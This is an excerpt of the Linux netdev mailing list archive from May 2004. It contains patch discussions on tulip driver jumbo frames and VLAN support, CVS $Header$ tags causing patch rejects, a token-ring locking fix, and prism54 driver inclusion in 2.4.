<40B64003.9090407@pobox.com> Date: Thu, 27 May 2004 15:22:43 -0400 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6) Gecko/20040510 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Herbert Xu CC: netdev@oss.sgi.com Subject: Re: 1/x: [NETDRV] Ifdef builtin-only probe in ISA/MCA drivers References: <20040313025859.GA8186@gondor.apana.org.au> <405C294D.5040508@pobox.com> <20040520111937.GA21804@gondor.apana.org.au> In-Reply-To: <20040520111937.GA21804@gondor.apana.org.au> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 5406 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev applied patches #1 and #2 in this series (i.e. all I've received so far). I will probably wait until 2.6.7 release to push these, since they are not necessarily release candidate changes. Jeff From greearb@candelatech.com Thu May 27 12:29:41 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 27 May 2004 12:29:44 -0700 (PDT) Received: from www.lanforge.com (ns1.lanforge.com [66.165.47.210]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4RJTfgi014700 for ; Thu, 27 May 2004 12:29:41 -0700 Received: from candelatech.com (evrtwa1-ar2-4-35-049-074.evrtwa1.dsl-verizon.net [4.35.49.74]) (authenticated bits=0) by www.lanforge.com (8.12.8/8.12.8) with ESMTP id i4RJaCSb002698; Thu, 27 May 2004 12:36:13 -0700 Message-ID: <40B641A3.7070209@candelatech.com> Date: Thu, 27 May 2004 12:29:39 -0700 From: Ben Greear Organization: Candela Technologies User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6) Gecko/20040113 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Rask Ingemann Lambertsen CC: Jeff Garzik , netdev@oss.sgi.com, "Linux 802.1Q VLAN" Subject: Re: [EXPERIMENTAL PATCH] 2.4 tulip jumbo frames References: <20031209160632.D1345@sygehus.dk> <3FD5FC36.5090405@pobox.com> <20031213182925.A1791@sygehus.dk> In-Reply-To: <20031213182925.A1791@sygehus.dk> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 5407 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: greearb@candelatech.com Precedence: bulk X-list: netdev Rask Ingemann Lambertsen wrote: > On Tue, Dec 09, 2003 at 11:45:42AM -0500, Jeff Garzik wrote: > >>Two questions and a comment... >> >>Would you split this into two patches? The first simply adds, and uses, >>tp->rx_buf_sz. The second adds PKT_BUF_SZ_MAX and mtu-related changes. > > > The first patch is attached to this message. I'm not happy with the second > part yet because it is too hackish and I would prefer to have a look at the > tulip documentation first. Whatever became of this? For what it's worth, I have been using a patch originally by Ben McKeegan that seems to work fine. But, I'd be happy for either of the patches to go in so long as we can finally get the tulip driver to work with VLANs. --- linux-2.4.25/drivers/net/tulip/interrupt.c 2003-06-13 07:51:35.000000000 -0700 +++ linux-2.4.25.p4/drivers/net/tulip/interrupt.c 2004-05-24 17:24:26.000000000 -0700 @@ -1,4 +1,4 @@ -/* +/* -*-linux-c-*- drivers/net/tulip/interrupt.c Maintained by Jeff Garzik @@ -122,14 +122,34 @@ /* If we own the next entry, it is a new packet. Send it up. */ while ( ! (tp->rx_ring[entry].status & cpu_to_le32(DescOwned))) { s32 status = le32_to_cpu(tp->rx_ring[entry].status); - + short pkt_len; + if (tulip_debug > 5) printk(KERN_DEBUG "%s: In tulip_rx(), entry %d %8.8x.\n", dev->name, entry, status); if (--rx_work_limit < 0) break; - if ((status & 0x38008300) != 0x0300) { - if ((status & 0x38000300) != 0x0300) { + /* + Omit the four octet CRC from the length. + (May not be considered valid until we have + checked status for RxLengthOver2047 bits) + */ + pkt_len = ((status >> 16) & 0x7ff) - 4; + + /* + Maximum pkt_len is 1518 (1514 + vlan header) + Anything higher than this is always invalid + regardless of RxLengthOver2047 bits + */ + + if (((status & (RxLengthOver2047 | + RxDescCRCError | + RxDescCollisionSeen | + RxDescRunt | + RxDescDescErr | + RxWholePkt)) != RxWholePkt) + || (pkt_len > 1518) ) { + if ((status & (RxLengthOver2047 | RxWholePkt)) != RxWholePkt) { /* Ingore earlier buffers. */ if ((status & 0xffff) != 0x7fff) { if (tulip_debug > 1) @@ -138,31 +158,21 @@ dev->name, status); tp->stats.rx_length_errors++; } - } else if (status & RxDescFatalErr) { + } else { /* There was a fatal error. */ if (tulip_debug > 2) printk(KERN_DEBUG "%s: Receive error, Rx status %8.8x.\n", dev->name, status); tp->stats.rx_errors++; /* end of a packet.*/ - if (status & 0x0890) tp->stats.rx_length_errors++; + if ((pkt_len > 1518) || (status & RxDescRunt)) + tp->stats.rx_length_errors++; if (status & 0x0004) tp->stats.rx_frame_errors++; if (status & 0x0002) tp->stats.rx_crc_errors++; if (status & 0x0001) tp->stats.rx_fifo_errors++; } } else { - /* Omit the four octet CRC from the length. */ - short pkt_len = ((status >> 16) & 0x7ff) - 4; struct sk_buff *skb; -#ifndef final_version - if (pkt_len > 1518) { - printk(KERN_WARNING "%s: Bogus packet size of %d (%#x).\n", - dev->name, pkt_len, pkt_len); - pkt_len = 1518; - tp->stats.rx_length_errors++; - } -#endif - #ifdef CONFIG_NET_HW_FLOWCONTROL drop = atomic_read(&netdev_dropping); if (drop) --- linux-2.4.25/drivers/net/tulip/tulip.h 2002-11-28 15:53:14.000000000 -0800 +++ linux-2.4.25.p4/drivers/net/tulip/tulip.h 2004-05-24 17:29:48.000000000 -0700 @@ -188,8 +188,40 @@ enum desc_status_bits { DescOwned = 0x80000000, - RxDescFatalErr = 0x8000, + + /* + Error summary flag is logical or of 'CRC Error', + 'Collision Seen', 'Frame Too Long', 'Runt' and + 'Descriptor Error' flags generated within tulip chip. + */ + RxDescErrorSummary = 0x8000, + + RxDescCRCError = 0x0002, + RxDescCollisionSeen = 0x0040, + + /* + 'Frame Too Long' flag is set if packet length including CRC + exceeds 1518. However, a full sized VLAN tagged frame is + 1522 bytes including CRC. + + The tulip chip does not block oversized frames, and if this + flag is set on a receive descriptor it does not indicate + the frame has been truncated. The receive descriptor also + includes the actual length. Therefore we can safety ignore + this flag and check the length ourselves. + */ + RxDescFrameTooLong = 0x0080, + RxDescRunt = 0x0800, + RxDescDescErr = 0x4000, RxWholePkt = 0x0300, + + /* + Top three bits of 14 bit frame length (status bits 27-29) + should never be set as that would make frame over 2047 bytes. + The Receive Watchdog flag (bit 4) may indicate the length is + over 2048 and the length field is invalid. + */ + RxLengthOver2047 = 0x38000010 }; > > >>Have you looked at Donald Becker's changes to tulip.c? He went through >>most of his drivers and made the changes necessary to support larger >>MTUs. IIRC his tulip.c changes (which should be easily translate-able >>to 2.6.x tulip) were a bit more minimal than your patch, but still >>served the purpose. > > > I've just tested Becker's tulip.c v0.97 (7/22/2003) and it fails to receive > packets larger than the standard 1514 bytes. "ping -s 1472" works while > "ping -s 1473" doesn't (when pinging from another box). > > > > ------------------------------------------------------------------------ > > --- linux-2.4.22/drivers/net/tulip/tulip.h-orig Mon Dec 1 21:58:11 2003 > +++ linux-2.4.22/drivers/net/tulip/tulip.h Mon Dec 1 22:09:14 2003 > @@ -347,6 +353,7 @@ struct tulip_private { > struct ring_info tx_buffers[TX_RING_SIZE]; > /* The addresses of receive-in-place skbuffs. */ > struct ring_info rx_buffers[RX_RING_SIZE]; > + uint rx_buf_sz; > u16 setup_frame[96]; /* Pseudo-Tx frame to init address table. */ > int chip_id; > int revision; > --- linux-2.4.22/drivers/net/tulip/interrupt.c-orig Mon Dec 1 21:52:10 2003 > +++ linux-2.4.22/drivers/net/tulip/interrupt.c Mon Dec 1 22:03:50 2003 > @@ -74,11 +74,11 @@ int tulip_refill_rx(struct net_device *d > struct sk_buff *skb; > dma_addr_t mapping; > > - skb = tp->rx_buffers[entry].skb = dev_alloc_skb(PKT_BUF_SZ); > + skb = tp->rx_buffers[entry].skb = dev_alloc_skb(tp->rx_buf_sz); > if (skb == NULL) > break; > > - mapping = pci_map_single(tp->pdev, skb->tail, PKT_BUF_SZ, > + mapping = pci_map_single(tp->pdev, skb->tail, tp->rx_buf_sz, > PCI_DMA_FROMDEVICE); > tp->rx_buffers[entry].mapping = mapping; > > @@ -203,7 +202,7 @@ static int tulip_rx(struct net_device *d > #endif > > pci_unmap_single(tp->pdev, tp->rx_buffers[entry].mapping, > - PKT_BUF_SZ, PCI_DMA_FROMDEVICE); > + tp->rx_buf_sz, PCI_DMA_FROMDEVICE); > > tp->rx_buffers[entry].skb = NULL; > tp->rx_buffers[entry].mapping = 0; > --- linux-2.4.22/drivers/net/tulip/tulip_core.c-orig Mon Dec 1 21:34:32 2003 > +++ linux-2.4.22/drivers/net/tulip/tulip_core.c Mon Dec 1 22:10:53 2003 > @@ -518,9 +521,7 @@ void tulip_xon(struct net_device *dev) > static int > tulip_open(struct net_device *dev) > { > -#ifdef CONFIG_NET_HW_FLOWCONTROL > struct tulip_private *tp = (struct tulip_private *)dev->priv; > -#endif > int retval; > MOD_INC_USE_COUNT; > > @@ -529,6 +530,7 @@ tulip_open(struct net_device *dev) > return retval; > } > > + tp->rx_buf_sz = PKT_BUF_SZ; > tulip_init_ring (dev); > > tulip_up (dev); > @@ -673,13 +678,13 @@ static void tulip_init_ring(struct net_d > > for (i = 0; i < RX_RING_SIZE; i++) { > tp->rx_ring[i].status = 0x00000000; > - tp->rx_ring[i].length = cpu_to_le32(PKT_BUF_SZ); > + tp->rx_ring[i].length = cpu_to_le32(tp->rx_buf_sz); > tp->rx_ring[i].buffer2 = cpu_to_le32(tp->rx_ring_dma + sizeof(struct tulip_rx_desc) * (i + 1)); > tp->rx_buffers[i].skb = NULL; > tp->rx_buffers[i].mapping = 0; > } > /* Mark the last entry as wrapping the ring. */ > - tp->rx_ring[i-1].length = cpu_to_le32(PKT_BUF_SZ | DESC_RING_WRAP); > + tp->rx_ring[i-1].length = cpu_to_le32(tp->rx_buf_sz | DESC_RING_WRAP); > tp->rx_ring[i-1].buffer2 = cpu_to_le32(tp->rx_ring_dma); > > for (i = 0; i < RX_RING_SIZE; i++) { > @@ -688,12 +693,12 @@ static void tulip_init_ring(struct net_d > /* Note the receive buffer must be longword aligned. > dev_alloc_skb() provides 16 byte alignment. But do *not* > use skb_reserve() to align the IP header! */ > - struct sk_buff *skb = dev_alloc_skb(PKT_BUF_SZ); > + struct sk_buff *skb = dev_alloc_skb(tp->rx_buf_sz); > tp->rx_buffers[i].skb = skb; > if (skb == NULL) > break; > mapping = pci_map_single(tp->pdev, skb->tail, > - PKT_BUF_SZ, PCI_DMA_FROMDEVICE); > + tp->rx_buf_sz, PCI_DMA_FROMDEVICE); > tp->rx_buffers[i].mapping = mapping; > skb->dev = dev; /* Mark as being used by this device. */ > tp->rx_ring[i].status = cpu_to_le32(DescOwned); /* Owned by Tulip chip */ > @@ -876,7 +881,7 @@ static int tulip_close (struct net_devic > tp->rx_ring[i].length = 0; > tp->rx_ring[i].buffer1 = 0xBADF00D0; /* An invalid address. */ > if (skb) { > - pci_unmap_single(tp->pdev, mapping, PKT_BUF_SZ, > + pci_unmap_single(tp->pdev, mapping, tp->rx_buf_sz, > PCI_DMA_FROMDEVICE); > dev_kfree_skb (skb); > } -- Ben Greear Candela Technologies Inc http://www.candelatech.com From jgarzik@pobox.com Thu May 27 12:31:15 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 27 May 2004 12:31:18 -0700 (PDT) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4RJVDgi015488 for ; Thu, 27 May 2004 12:31:14 -0700 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143] helo=pobox.com) by www.linux.org.uk with asmtp (TLSv1:AES256-SHA:256) (Exim 4.33) id 1BTQav-0003IK-0U; Thu, 27 May 2004 20:31:13 +0100 Message-ID: <40B641F4.1040806@pobox.com> Date: Thu, 27 May 2004 15:31:00 -0400 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6) Gecko/20040510 X-Accept-Language: en-us, en MIME-Version: 1.0 To: "Luis R. Rodriguez" CC: Andrew Morton , linux-kernel@vger.kernel.org, netdev@oss.sgi.com, prism54-devel@prism54.org Subject: Re: [Prism54-devel] Re: [PATCH 4/14 linux-2.6.7-rc1] prism54: add support for avs header in References: <20040524083146.GE3330@ruslug.rutgers.edu> <40B631B3.4000902@pobox.com> <20040527191649.GT3330@ruslug.rutgers.edu> In-Reply-To: <20040527191649.GT3330@ruslug.rutgers.edu> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 5408 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev Luis R. Rodriguez wrote: > On Thu, May 27, 2004 at 02:21:39PM -0400, Jeff Garzik wrote: > >>Luis R. Rodriguez wrote: >> >>>diff -u -r1.31 -r1.33 >>>--- linux-2.6.7-rc1/drivers/net/wireless/prism54/islpci_eth.c 18 Mar 2004 >>>15:27:44 -0000 1.31 >>>+++ linux-2.6.7-rc1/drivers/net/wireless/prism54/islpci_eth.c 19 Mar 2004 >>>23:03:58 -0000 1.33 >>>@@ -1,4 +1,4 @@ >>>-/* $Header: /var/lib/cvs/prism54-ng/ksrc/islpci_eth.c,v 1.31 2004/03/18 >>>15:27:44 ajfa Exp $ >>>+/* $Header: /var/lib/cvs/prism54-ng/ksrc/islpci_eth.c,v 1.33 2004/03/19 >>>23:03:58 ajfa Exp $ >> >> >>Please remove CVS substitions from your code, they cause endless patch >>rejects if I choose to apply (for example) 10 out of 14 patches. > > > Will do. So if you get > > --- ksrc/islpci_eth.c > +++ ksrc-new/islpci_eth.c > > patches, that'll be OK? I substituted ksrc to > linux-2.6.7-rc1/drivers/net/wireless/prism54 thinking that'll ease your > job. Sorry for any inconvenience. I think you misunderstand (and I apologize for causing the confusion). It is _required_ that the patches include the full path in the header. You did this correctly: --- linux-2.6.7-rc1/drivers/net/wireless/prism54/islpci_eth.c 18 Mar 2004 15:27:44 -0000 1.31 +++ linux-2.6.7-rc1/drivers/net/wireless/prism54/islpci_eth.c 19 Mar 2004 I am referring to the CVS substitution variables embedded in your source code. In this case $Header$. However, consider what happens when I do: 1) apply patch #1 2) reject patch #2 3) attempt to apply patch #3 If each patch updates the $Header$, then patch #3 cannot be applied because patch(1) will reject it due to the now-incorrect $Header$ line. The $Header$ _forces_ me to apply your patches in order, all or none. I don't think you want that ;-) Jeff From Valdis.Kletnieks@vt.edu Thu May 27 12:31:58 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 27 May 2004 12:31:59 -0700 (PDT) Received: from turing-police.cc.vt.edu (IDENT:root@turing-police.cc.vt.edu [128.173.14.107]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4RJVvgi015752 for ; Thu, 27 May 2004 12:31:58 -0700 Received: from turing-police.cc.vt.edu (IDENT:valdis@localhost [127.0.0.1]) by turing-police.cc.vt.edu (8.13.0.Beta2/8.13.0.Beta2) with ESMTP id i4RJVjYB002642; Thu, 27 May 2004 15:31:45 -0400 Message-Id: <200405271931.i4RJVjYB002642@turing-police.cc.vt.edu> X-Mailer: exmh version 2.6.3 04/04/2003 with nmh-1.0.4+dev To: mcgrof@studorgs.rutgers.edu (Luis R. Rodriguez) Cc: Jeff Garzik , Andrew Morton , linux-kernel@vger.kernel.org, netdev@oss.sgi.com, prism54-devel@prism54.org Subject: CVS tags (was Re: [Prism54-devel] Re: [PATCH 4/14 linux-2.6.7-rc1] prism54: add support for avs header in In-Reply-To: Your message of "Thu, 27 May 2004 15:16:49 EDT." <20040527191649.GT3330@ruslug.rutgers.edu> From: Valdis.Kletnieks@vt.edu References: <20040524083146.GE3330@ruslug.rutgers.edu> <40B631B3.4000902@pobox.com> <20040527191649.GT3330@ruslug.rutgers.edu> Mime-Version: 1.0 Content-Type: multipart/signed; boundary="==_Exmh_-2099624870P"; micalg=pgp-sha1; protocol="application/pgp-signature" Content-Transfer-Encoding: 7bit Date: Thu, 27 May 2004 15:31:45 -0400 X-archive-position: 5409 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: Valdis.Kletnieks@vt.edu Precedence: bulk X-list: netdev --==_Exmh_-2099624870P Content-Type: text/plain; charset=us-ascii On Thu, 27 May 2004 15:16:49 EDT, Luis R. Rodriguez said: > --- ksrc/islpci_eth.c > +++ ksrc-new/islpci_eth.c I think this was what he referred to: >-/* $Header: /var/lib/cvs/prism54-ng/ksrc/islpci_eth.c,v 1.31 2004/03 15:27:44 ajfa Exp $ >+/* $Header: /var/lib/cvs/prism54-ng/ksrc/islpci_eth.c,v 1.33 2004/03/19 23:03:58 ajfa Exp $ as this will almost surely cause rejects (sooner or later) unless 100% of your patches are applied and in the right order. --==_Exmh_-2099624870P Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.4 (GNU/Linux) Comment: Exmh version 2.5 07/13/2001 iD8DBQFAtkIhcC3lWbTT17ARAmntAJ0cQORS1Mv5p7jxtoH94Unmt1tNRwCg5W7z qg0Ucv7Kzj2Nyz7+R6ecl/Y= =3CU7 -----END PGP SIGNATURE----- --==_Exmh_-2099624870P-- From fubar@us.ibm.com Thu May 27 12:32:22 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 27 May 2004 12:32:26 -0700 (PDT) Received: from e33.co.us.ibm.com (e33.co.us.ibm.com [32.97.110.131]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4RJWLgi015988 for ; Thu, 27 May 2004 12:32:22 -0700 Received: from westrelay02.boulder.ibm.com (westrelay02.boulder.ibm.com [9.17.195.11]) by e33.co.us.ibm.com (8.12.10/8.12.2) with ESMTP id i4RJVjwc496136; Thu, 27 May 2004 15:31:45 -0400 Received: from death.nxdomain.ibm.com (d03av02.boulder.ibm.com [9.17.195.168]) by westrelay02.boulder.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i4RJVgct385344; Thu, 27 May 2004 13:31:43 -0600 Received: from death.nxdomain.ibm.com (localhost [127.0.0.1]) by death.nxdomain.ibm.com (8.12.8/8.12.8) with ESMTP id i4RJVXpf007220; Thu, 27 May 2004 12:31:33 -0700 Received: from death (fubar@localhost) by death.nxdomain.ibm.com (8.12.8/8.12.8/Submit) with ESMTP id i4RJVXNN007213; Thu, 27 May 2004 12:31:33 -0700 Message-Id: <200405271931.i4RJVXNN007213@death.nxdomain.ibm.com> To: netdev@oss.sgi.com Cc: linux-tr@linuxtr.net Subject: [PATCH 2.6.5] olympic: Repost: spin_lock_bh() called in irq handler X-Mailer: MH-E 7.4.3; nmh 1.0.4; GNU Emacs 21.3.1 Date: Thu, 27 May 2004 12:31:33 -0700 From: Jay Vosburgh X-archive-position: 5410 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: fubar@us.ibm.com Precedence: bulk X-list: netdev I posted this about a month ago, but didn't see any response. The patch has since been verified to fix an actual problem (IBM iseries systems would see errors due to the _bh locking in interrupt context). Comments? -J --- -Jay Vosburgh, IBM Linux Technology Center, fubar@us.ibm.com To: Paul Mackerras Cc: linux-tr@linuxtr.net, netdev@oss.sgi.com Subject: Re: spin_lock_bh() called in irq handler Date: Wed, 28 Apr 2004 10:55:33 -0700 From: Jay Vosburgh >I had a look and found that all of the token-ring drivers call >tr_type_trans() at interrupt level. That seems perfectly reasonable >to me. To fix the bug, it seems to me that there are two options: >either move the tr_add_rif_info() call elsewhere (but I have no idea >where) or else use spin_lock_irqsave instead of spin_lock_bh. > >Which is the more appropriate fix? I'm guessing spin_lock_irqsave; would the following be appropriate? I'm not absolutely sure about using spin_(un)lock_irq in rif_seq_start/stop, but it'd be complicated to deal with the flags in that case. I've built this and given it some basic testing, but not really hammered on it. The system doesn't panic when I cat /proc/net/tr_rif, which is a good sign. -J --- -Jay Vosburgh, IBM Linux Technology Center, fubar@us.ibm.com diff -urN linux-2.6.5-orig/net/802/tr.c linux-2.6.5/net/802/tr.c --- linux-2.6.5-orig/net/802/tr.c 2004-04-28 10:02:12.000000000 -0700 +++ linux-2.6.5/net/802/tr.c 2004-04-28 10:15:47.000000000 -0700 @@ -250,10 +250,11 @@ unsigned int hash; struct rif_cache_s *entry; unsigned char *olddata; + unsigned long flags; static const unsigned char mcast_func_addr[] = {0xC0,0x00,0x00,0x04,0x00,0x00}; - spin_lock_bh(&rif_lock); + spin_lock_irqsave(&rif_lock, flags); /* * Broadcasts are single route as stated in RFC 1042 @@ -322,7 +323,7 @@ else slack = 18 - ((ntohs(trh->rcf) & TR_RCF_LEN_MASK)>>8); olddata = skb->data; - spin_unlock_bh(&rif_lock); + spin_unlock_irqrestore(&rif_lock, flags); skb_pull(skb, slack); memmove(skb->data, olddata, sizeof(struct trh_hdr) - slack); @@ -336,10 +337,11 @@ static void tr_add_rif_info(struct trh_hdr *trh, struct net_device *dev) { unsigned int hash, rii_p = 0; + unsigned long flags; struct rif_cache_s *entry; - spin_lock_bh(&rif_lock); + spin_lock_irqsave(&rif_lock, flags); /* * Firstly see if the entry exists @@ -377,7 +379,7 @@ if(!entry) { printk(KERN_DEBUG "tr.c: Couldn't malloc rif cache entry !\n"); - spin_unlock_bh(&rif_lock); + spin_unlock_irqrestore(&rif_lock, flags); return; } @@ -419,7 +421,7 @@ } entry->last_used=jiffies; } - spin_unlock_bh(&rif_lock); + spin_unlock_irqrestore(&rif_lock, flags); } /* @@ -429,9 +431,9 @@ static void rif_check_expire(unsigned long dummy) { int i; - unsigned long next_interval = jiffies + sysctl_tr_rif_timeout/2; + unsigned long flags, next_interval = jiffies + sysctl_tr_rif_timeout/2; - spin_lock_bh(&rif_lock); + spin_lock_irqsave(&rif_lock, flags); for(i =0; i < RIF_TABLE_SIZE; i++) { struct rif_cache_s *entry, **pentry; @@ -453,7 +455,7 @@ } } - spin_unlock_bh(&rif_lock); + spin_unlock_irqrestore(&rif_lock, flags); mod_timer(&rif_timer, next_interval); @@ -484,7 +486,7 @@ static void *rif_seq_start(struct seq_file *seq, loff_t *pos) { - spin_lock_bh(&rif_lock); + spin_lock_irq(&rif_lock); return *pos ? rif_get_idx(*pos - 1) : SEQ_START_TOKEN; } @@ -515,7 +517,7 @@ static void rif_seq_stop(struct seq_file *seq, void *v) { - spin_unlock_bh(&rif_lock); + spin_unlock_irq(&rif_lock); } static int rif_seq_show(struct seq_file *seq, void *v) From mcgrof@studorgs.rutgers.edu Thu May 27 12:43:57 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 27 May 2004 12:43:59 -0700 (PDT) Received: from ruslug.rutgers.edu (studorgs.rutgers.edu [128.6.24.131]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4RJhlgi016652 for ; Thu, 27 May 2004 12:43:47 -0700 Received: by ruslug.rutgers.edu (Postfix, from userid 503) id 9CE1BF9D4B; Thu, 27 May 2004 15:12:47 -0400 (EDT) Date: Thu, 27 May 2004 15:12:47 -0400 To: Netdev Subject: Re: HostAP: alive or dead? Message-ID: <20040527191247.GS3330@ruslug.rutgers.edu> Mail-Followup-To: Netdev References: <40B62FD3.8040601@pobox.com> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="anmYPbAsEPjx7802" Content-Disposition: inline In-Reply-To: <40B62FD3.8040601@pobox.com> User-Agent: Mutt/1.3.28i X-Operating-System: 2.4.18-1-686 Organization: Rutgers University Student Linux Users Group From: mcgrof@studorgs.rutgers.edu (Luis R. Rodriguez) X-archive-position: 5411 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: mcgrof@studorgs.rutgers.edu Precedence: bulk X-list: netdev --anmYPbAsEPjx7802 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Thu, May 27, 2004 at 02:13:39PM -0400, Jeff Garzik wrote: >=20 > I've been wanting to merge it, and starting working on the generic=20 > wireless layer, for a while now. Hey Jeff, can you elaborate on the wireless layer bit? Luis --=20 GnuPG Key fingerprint =3D 113F B290 C6D2 0251 4D84 A34A 6ADD 4937 E20A 525E --anmYPbAsEPjx7802 Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.4 (GNU/Linux) iD8DBQFAtj2vat1JN+IKUl4RAkOmAJ98ZJQh+K+8n10X4lRwXBULqNCNjACffWoL x1LuGM7imtBj20YpMfHh4fs= =l7tZ -----END PGP SIGNATURE----- --anmYPbAsEPjx7802-- From mcgrof@studorgs.rutgers.edu Thu May 27 12:45:14 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 27 May 2004 12:45:16 -0700 (PDT) Received: from ruslug.rutgers.edu (studorgs.rutgers.edu [128.6.24.131]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4RJjEgi016904 for ; Thu, 27 May 2004 12:45:14 -0700 Received: by ruslug.rutgers.edu (Postfix, from userid 503) id BBB76F9D4B; Thu, 27 May 2004 15:45:13 -0400 (EDT) Date: Thu, 27 May 2004 15:45:13 -0400 To: Jeff Garzik Cc: Marcelo Tosatti , "Luis R. Rodriguez" , Marcelo Tosatti , Andrew Morton , linux-kernel@vger.kernel.org, netdev@oss.sgi.com, prism54-devel@prism54.org Subject: Re: [Prism54-devel] Re: [PATCH 0/14] prism54: bring up to sync with prism54.org cvs rep Message-ID: <20040527194513.GV3330@ruslug.rutgers.edu> Mail-Followup-To: Jeff Garzik , Marcelo Tosatti , "Luis R. Rodriguez" , Marcelo Tosatti , Andrew Morton , linux-kernel@vger.kernel.org, netdev@oss.sgi.com, prism54-devel@prism54.org References: <20040524083003.GA3330@ruslug.rutgers.edu> <20040524085727.GR3330@ruslug.rutgers.edu> <40B62F29.6090101@pobox.com> <20040527192733.GB14186@logos.cnet> <40B6424D.7030203@pobox.com> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="NJPV7Gg6aA3gXYsj" Content-Disposition: inline In-Reply-To: <40B6424D.7030203@pobox.com> User-Agent: Mutt/1.3.28i X-Operating-System: 2.4.18-1-686 Organization: Rutgers University Student Linux Users Group From: mcgrof@studorgs.rutgers.edu (Luis R. Rodriguez) X-archive-position: 5412 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: mcgrof@studorgs.rutgers.edu Precedence: bulk X-list: netdev --NJPV7Gg6aA3gXYsj Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Thu, May 27, 2004 at 03:32:29PM -0400, Jeff Garzik wrote: > Marcelo Tosatti wrote: > >IMO support for new hardware (new drivers) which dont break existing=20 > >setups are fine. > > > >Jeff, you are actively maintaining most of the network drivers in v2.4, = if=20 > >you are OK with the inclusion of this, I'm OK. > > > >Does this make sense? >=20 >=20 > Yup, makes sense and sounds good to me. >=20 > Luis, feel free to send me the 2.4.x version of the prism54 driver --=20 > after addressing my comments, of course ;-) Great. I'll fix all those patches up again for you and Marcelo. For future development I've asked other prism54 developers to first send patches to netdev for review/approval. Maybe we *should* do away with prism54-devel=20 mailing list and just use netdev as was once suggested by someone... Luis --=20 GnuPG Key fingerprint =3D 113F B290 C6D2 0251 4D84 A34A 6ADD 4937 E20A 525E --NJPV7Gg6aA3gXYsj Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.4 (GNU/Linux) iD8DBQFAtkVJat1JN+IKUl4RAhK5AKCMLsSOj/ljPh3ka+HrobMB7YMz6QCeJu1w VI+K4jJGD+DN/exAHFQyotw= =PWZW -----END PGP SIGNATURE----- --NJPV7Gg6aA3gXYsj-- From adilger@clusterfs.com Thu May 27 13:02:09 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 27 May 2004 13:02:12 -0700 (PDT) Received: from moraine.clusterfs.com (moraine.clusterfs.com [66.246.132.190]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4RK27gi018521 for ; Thu, 27 May 2004 13:02:09 -0700 Received: from schnapps.adilger.int (localhost.localdomain [127.0.0.1]) by moraine.clusterfs.com (Postfix) with ESMTP id 474DB310021; Thu, 27 May 2004 16:02:01 -0400 (EDT) Received: by schnapps.adilger.int (Postfix, from userid 1000) id C1798180AE; Thu, 27 May 2004 14:01:59 -0600 (MDT) Date: Thu, 27 May 2004 14:01:59 -0600 From: Andreas Dilger To: Valdis.Kletnieks@vt.edu Cc: "Luis R. Rodriguez" , Jeff Garzik , Andrew Morton , linux-kernel@vger.kernel.org, netdev@oss.sgi.com, prism54-devel@prism54.org Subject: Re: CVS tags (was Re: [Prism54-devel] Re: [PATCH 4/14 linux-2.6.7-rc1] prism54: add support for avs header in Message-ID: <20040527200159.GP2603@schnapps.adilger.int> Mail-Followup-To: Valdis.Kletnieks@vt.edu, "Luis R. Rodriguez" , Jeff Garzik , Andrew Morton , linux-kernel@vger.kernel.org, netdev@oss.sgi.com, prism54-devel@prism54.org References: <20040524083146.GE3330@ruslug.rutgers.edu> <40B631B3.4000902@pobox.com> 